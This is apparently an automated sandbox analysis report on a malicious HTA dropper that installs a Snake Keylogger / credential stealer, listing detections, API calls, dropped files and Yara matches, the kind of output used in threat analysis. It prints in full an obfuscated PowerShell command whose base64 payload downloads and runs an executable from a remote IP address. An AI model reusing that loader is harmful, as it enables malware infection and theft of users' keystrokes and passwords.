Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189d
Source: RegSvcs.exe, 00000007.00000002.2509390080.0000000002570000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189l

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 6.2.csoss.exe.eb0000.1.raw.unpack, UltraSpeed.cs

.Net Code: VKCodeToUnicode

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D74164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00D74164

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D74164 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

6_2_00D74164

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D73F66 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

6_2_00D73F66

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D6001C GetKeyboardState,SetKeyboardState,GetAsyncKeyState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

6_2_00D6001C

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D8CABC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

6_2_00D8CABC

System Summary

Detected Cobalt Strike Beacon

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; iEx($(IEX('[SYstEM.TEXT.encOdInG]'+[ChaR]0x3a+[CHAR]0X3A+'UtF8.geTsTRinG([SyStEm.ConVert]'+[cHAr]0x3a+[ChaR]58+'frOmBAsE64striNg('+[CHar]34+'JEdhICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQWRkLXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lTUJlcmRFRmlOSXRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVyTE1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ1dRaXBNREdkcixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgamdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFaXpjTUh2dkJaLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRSk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiVEdORG9HcUNLRyIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVTUEFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWR1ZhbyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRHYTo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzIzLjk1LjIzNS4yOC8xMjAvY3Nvc3MuZXhlIiwiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSIsMCwwKTtzVGFyVC1zbEVFcCgzKTtJblZvS0UtaXRFTSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOdjpBUFBEQVRBXGNzb3NzLmV4ZSI='+[cHar]0x22+'))')))"			Jump to behavior

Malicious sample detected (through community Yara rule)

Source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Encrial credential stealer malware Author: Florian Roth
Source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown

Binary is likely a compiled AutoIt script file

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: This is a third-party compiled AutoIt script.	6_2_00D03B3A
Source: csoss.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: csoss.exe, 00000006.00000000.1384714838.0000000000DB4000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_4883ed55-9
Source: csoss.exe, 00000006.00000000.1384714838.0000000000DB4000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_7be239e3-2
Source: csoss.exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e5ab769a-0
Source: csoss.exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_9346a01c-f
Source: csoss[1].exe.3.dr	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_0f8192c1-a
Source: csoss[1].exe.3.dr	String found in binary or memory: SDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBox\|SHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer`	memstr_b4cbe7a6-e

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Roaming\csoss.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D6A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

6_2_00D6A1EF

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D58310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

6_2_00D58310

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D651BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

6_2_00D651BD

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D0E6A0	6_2_00D0E6A0
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2D975	6_2_00D2D975
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D0FCE0	6_2_00D0FCE0
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D221C5	6_2_00D221C5
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D362D2	6_2_00D362D2
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D803DA	6_2_00D803DA
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D3242E	6_2_00D3242E
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D225FA	6_2_00D225FA
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D166E1	6_2_00D166E1
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D5E616	6_2_00D5E616
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D3878F	6_2_00D3878F
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D68889	6_2_00D68889
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D80857	6_2_00D80857
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D36844	6_2_00D36844
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D18808	6_2_00D18808
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2CB21	6_2_00D2CB21
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D36DB6	6_2_00D36DB6
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D16F9E	6_2_00D16F9E
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D13030	6_2_00D13030
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2F1D9	6_2_00D2F1D9
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D23187	6_2_00D23187
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D01287	6_2_00D01287
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D21484	6_2_00D21484
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D15520	6_2_00D15520
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D27696	6_2_00D27696
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D15760	6_2_00D15760
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D21978	6_2_00D21978
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D39AB5	6_2_00D39AB5
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D87DDB	6_2_00D87DDB
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D21D90	6_2_00D21D90
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D2BDA6	6_2_00D2BDA6
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D13FE0	6_2_00D13FE0
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D0DF00	6_2_00D0DF00
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00FE38B8	6_2_00FE38B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0096C168	7_2_0096C168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0096A7F2	7_2_0096A7F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0096CA58	7_2_0096CA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00962DD1	7_2_00962DD1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00967E68	7_2_00967E68
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00964F08	7_2_00964F08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_009634DD	7_2_009634DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0096B9D0	7_2_0096B9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_0096B9E0	7_2_0096B9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00964EF8	7_2_00964EF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 7_2_00967E59	7_2_00967E59

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: String function: 00D28900 appears 42 times
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: String function: 00D20AE3 appears 70 times
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: String function: 00D07DE1 appears 35 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.csoss.exe.eb0000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 7.2.RegSvcs.exe.520000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000007.00000002.2507916337.0000000000522000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000006.00000002.1398840168.0000000000EB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: csoss.exe PID: 6740, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 5484, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: 6.2.csoss.exe.eb0000.1.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 6.2.csoss.exe.eb0000.1.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winHTA@14/15@2/3

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D6A06A GetLastError,FormatMessageW,

6_2_00D6A06A

Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D581CB AdjustTokenPrivileges,CloseHandle,		6_2_00D581CB
Source: C:\Users\user\AppData\Roaming\csoss.exe	Code function: 6_2_00D587E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		6_2_00D587E1

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D6B3FB SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

6_2_00D6B3FB

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D7EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

6_2_00D7EE0D

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D6C397 CoInitialize,CoCreateInstance,CoUninitialize,

6_2_00D6C397

Source: C:\Users\user\AppData\Roaming\csoss.exe

Code function: 6_2_00D04E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

6_2_00D04E89

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\csoss[1].exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4508:120:WilError_03

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5w2zet0.25m.ps1

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000007.00000002.2510723580.000000000351D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.00000000025E0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.0000000002603000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.00000000025EE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000007.00000002.2509390080.0000000002610000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: needagoodplanforsuccesstogetbackbest.hta	Virustotal: Detection: 40%
Source: needagoodplanforsuccesstogetbackbest.hta	ReversingLabs: Detection: 27%

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\needagoodplanforsuccesstogetbackbest.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwErsHeLl.exe -eX bYPasS -NOP -w 1 -C DEVICEcrEDeNtIaLDePLoyMEnt ; 